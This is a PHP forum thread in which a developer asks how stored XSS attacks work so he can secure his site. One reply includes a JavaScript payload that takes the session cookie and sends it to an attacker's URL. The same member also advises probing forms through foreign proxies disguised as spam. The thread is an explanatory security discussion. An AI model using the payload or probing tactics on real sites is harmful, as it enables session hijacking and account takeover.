TalkPHP
 
 
Account Login
Latest Articles
» The basic usage of PHPTAL, a XML/XHTML template library for PHP
» Vulnerable methods and the areas they are commonly trusted in.
» Simple way to protect a form from bot
» The Basics On: How Session Stealing Works
» How to keep your forms from double posting data
IRC Channel
IRC Speech Bubble Join the friendly bunch on IRC...
(#TalkPHP on Freenode)

...Also available via a web interface.

See this thread for information on the TalkPHP Free Hugs Initiative™. Subject to availability.
Associates
Associates
CSS Tutorials
Reply
 
LinkBack Thread Tools Search this Thread Display Modes
Old 01-26-2012, 03:53 AM   #1 (permalink)
The Wanderer
 
Join Date: Jan 2010
Posts: 13
Thanks: 0
pepelepew1962 is on a distinguished road
Default Understanding XSS attacks ...

Hello:

I am really trying to understand XSS attacks and can't seem to wrap my head around it, I would rather seem like a fool than program like one with holes in it. My problem is understanding how an attack occurs. Let's say Mary logs into the system and creates a record in the table via an html form. I have php filters and validation for the data before it actually goes into mysql table. My question is how does John attack my website? Or more important, how does he actually change files? If he were to have a log in and gains access because it doesn't take much to register, how? Is it a matter of the filter being bad and his XSS scipt is in a record and when someone open/views that
record (field) the script is launched? I have read lots on how the javascript, for example, is placed in the url or form fields but nothing explains whether the information is saved and launched via the record stored in the database.
pepelepew1962 is offline  
Reply With Quote
Old 01-26-2012, 07:21 AM   #2 (permalink)
Wizard
Top Contributor 
 
Village Idiot's Avatar
 
Join Date: Sep 2007
Posts: 1,299
Thanks: 17
Village Idiot is on a distinguished road
Default

First off I'd like to congratulate you on making the first post I've felt worthy of a response in about a year (yes, I've been lurking all time time).

Regarding filters, they are usually the only point that allows XSS attacks. SQL injection can do this if you only filter input. In general it is better to store data in the purest form possible and filter the output. XSS is not an input problem, it is an output problem. Only filtering output makes it easier to maintain should you need to change one of your algorithms, otherwise you are going to have to process though all the data in your database and convert it. I've had to do this on a massive database before, you don't want to.

XSS attacks revolve around making a browser execute client side code that they did not want to. These methods are usually quite specific to the script. Lets say you validate your logins with a 256 bit key that is randomly assigned at login and chances every ten minutes. This key contains roughly 1.2x10^77 combinations so brute forcing it is impossible, you have to take it. You have a page to change any users password that is admin/changeUserPass.php with the post fields userID and newPass. The script properly checks admin credentials so anyone without a valid session will not execute. To change the admin's password for permanent access you need a session key.

How you found it is unimportant, perhaps a SQL field was not secured or something didn't filter its content. Whatever the case you have somewhere where you can run client side content. You would inject something like this (I don't think this would work as is, I'll make it work tomorrow when I'm not extremely tired)
Code:
 <img src="" id="XSSexploit" />
<script>
function getCookie(c_name)
 {
 var i,x,y,ARRcookies=document.cookie.split(";");
 for (i=0;i<ARRcookies.length;i++)
 {
   x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
   y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
   x=x.replace(/^\s+|\s+$/g,"");
   if (x==c_name)
     {
     return unescape(y);
     }
   }
 }
document.getElementById("XSSexploit").src="http://mysite.com/exploit.php?cookie=" + escape(getCookie("sessionid"));
</script>
Then on your site you'd have a script that reads the GET data and either stores it or runs an automated attack with it. For the next few minutes having that cookie will be enough to log in. It may take a number of tries but as soon as you have an admin cross this page you are in.

Another simpler method is to use javascript to direct the user to download a virus.
__________________

Village Idiot is offline  
Reply With Quote
Old 01-26-2012, 05:12 PM   #3 (permalink)
The Wanderer
 
Join Date: Jan 2010
Posts: 13
Thanks: 0
pepelepew1962 is on a distinguished road
Default

Thanks for the response. So the way the attack occurs is that the code is entered into my database, prolly via a form, and when that record is called up/viewed/accessed, it is unleased?
pepelepew1962 is offline  
Reply With Quote
Old 01-26-2012, 06:15 PM   #4 (permalink)
Wizard
Top Contributor 
 
Village Idiot's Avatar
 
Join Date: Sep 2007
Posts: 1,299
Thanks: 17
Village Idiot is on a distinguished road
Default

That depends on the situation, different sites have different issues that allow something like that to happen. Hacking is extremely specific, when surveying a site to see if vulnerability issues exist you do a lot of research and information gathering. If I came across a form I thought had issues I would log on to a India or Philippines proxy and post a spam message to a Viagra site. In the message would be things like "<b></b>" and "<script> to invisibly test how it handles bad content. The content would be soon deleted and no real attention would be given to its bad code. You can immediately look at the output and see what happened. Once you understand the weakness in the algorithm you can attack it.
__________________

Village Idiot is offline  
Reply With Quote
Reply



Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On

Similar Threads
Thread Thread Starter Forum Replies Last Post
Understanding Session ID oMIKEo Absolute Beginners 5 08-13-2009 08:18 AM
Tips: PHP security Village Idiot Tips & Tricks 22 11-23-2007 11:17 PM
Understanding the Life of a Session Wildhoney General 6 10-27-2007 02:34 AM
Understanding why... ShadowWind Absolute Beginners 4 07-24-2005 08:49 PM


All times are GMT. The time now is 06:28 AM.

 
     

Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2013, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.1.0
Inactive Reminders By Icora Web Design